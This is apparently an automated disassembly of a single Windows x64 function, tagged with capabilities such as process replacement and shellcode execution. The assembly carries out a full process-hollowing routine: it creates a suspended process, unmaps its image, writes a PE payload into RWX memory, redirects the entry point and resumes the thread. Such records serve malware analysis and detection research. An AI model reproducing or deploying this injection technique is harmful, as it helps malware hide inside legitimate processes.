Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Parse pe header
Resume thread
Use process replacement

Disassembly:
mov r11, rsp
push rbx
sub rsp, 0x110
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0xe0], rax
mov eax, 0x5a4d
mov rbx, r8
mov r10, rdx
cmp word [r8], ax
jne 0x140001284
mov ecx, dword [r8 + 0x3c]
add ecx, ebx
mov qword [r11 - 0x10], rdi
mov edi, ecx
cmp dword [rcx], 0x4550
jne 0x14000127c
xorps xmm0, xmm0
mov qword [r11 - 0x18], r12
xor eax, eax
xor r12d, r12d
movups xmmword [rsp + 0x70], xmm0
mov qword [rsp + 0x60], rax
xor r9d, r9d
movups xmmword [rsp + 0x80], xmm0
xor r8d, r8d
xor edx, edx
movups xmmword [rsp + 0x90], xmm0
mov qword [r11 - 0x48], rax
mov rcx, r10
lea rax, [rsp + 0x50]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], r12d
movups xmmword [r11 - 0x78], xmm0
movups xmmword [r11 - 0x68], xmm0
movups xmmword [r11 - 0x58], xmm0
movups xmmword [rsp + 0x50], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x140001274
lea edx, [r12 + 8]
mov qword [rsp + 0x120], rbp
xor ecx, ecx
lea r9d, [r12 + 4]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, rax
mov rbp, rax
mov dword [rax + 0x30], 0x10000b
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x14000126c
mov rdx, qword [rbp + 0x90]
lea r9d, [r12 + 4]
mov rcx, qword [rsp + 0x50]
lea r8, [rsp + 0x68]
add rdx, 8
mov qword [rsp + 0x138], rsi
mov qword [rsp + 0xf0], r15
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov eax, dword [rsp + 0x68]
cmp rax, qword [rdi + 0x30]
jne 0x140001174
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtUnmapViewOfSection
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x50]
call rax
mov r8d, dword [rdi + 0x50]
mov r9d, 0x3000
mov rdx, qword [rdi + 0x30]
mov rcx, qword [rsp + 0x50]
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rsi, rax
test rax, rax
je 0x14000125c
mov r9d, dword [rdi + 0x54]
mov r8, rbx
mov rcx, qword [rsp + 0x50]
mov rdx, rax
mov qword [rsp + 0xf8], r14
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov r14d, r12d
cmp r12w, word [rdi + 6]
jae 0x14000120d
nop dword [rax]
mov eax, dword [rbx + 0x3c]
lea ecx, [r14 + r14*4]
mov qword [rsp + 0x20], r12
lea eax, [rax + rcx*8]
mov rcx, qword [rsp + 0x50]
add eax, 0xf8
add eax, ebx
mov r8d, dword [rax + 0x14]
mov edx, dword [rax + 0xc]
add r8d, ebx
mov r9d, dword [rax + 0x10]
add edx, esi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movzx eax, word [rdi + 6]
inc r14d
cmp r14d, eax
jl 0x1400011d0
mov rdx, qword [rbp + 0x90]
lea r8, [rdi + 0x30]
mov rcx, qword [rsp + 0x50]
add rdx, 8
mov r9d, 4
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [rdi + 0x28]
mov rdx, rbp
add eax, esi
mov qword [rbp + 0x78], rax
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov r14, qword [rsp + 0xf8]
mov rsi, qword [rsp + 0x138]
mov r15, qword [rsp + 0xf0]
mov rbp, qword [rsp + 0x120]
mov r12, qword [rsp + 0x100]
mov rdi, qword [rsp + 0x108]
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, qword [rsp + 0xe0]
xor rcx, rsp
call fcn.140001930
add rsp, 0x110
pop rbx
ret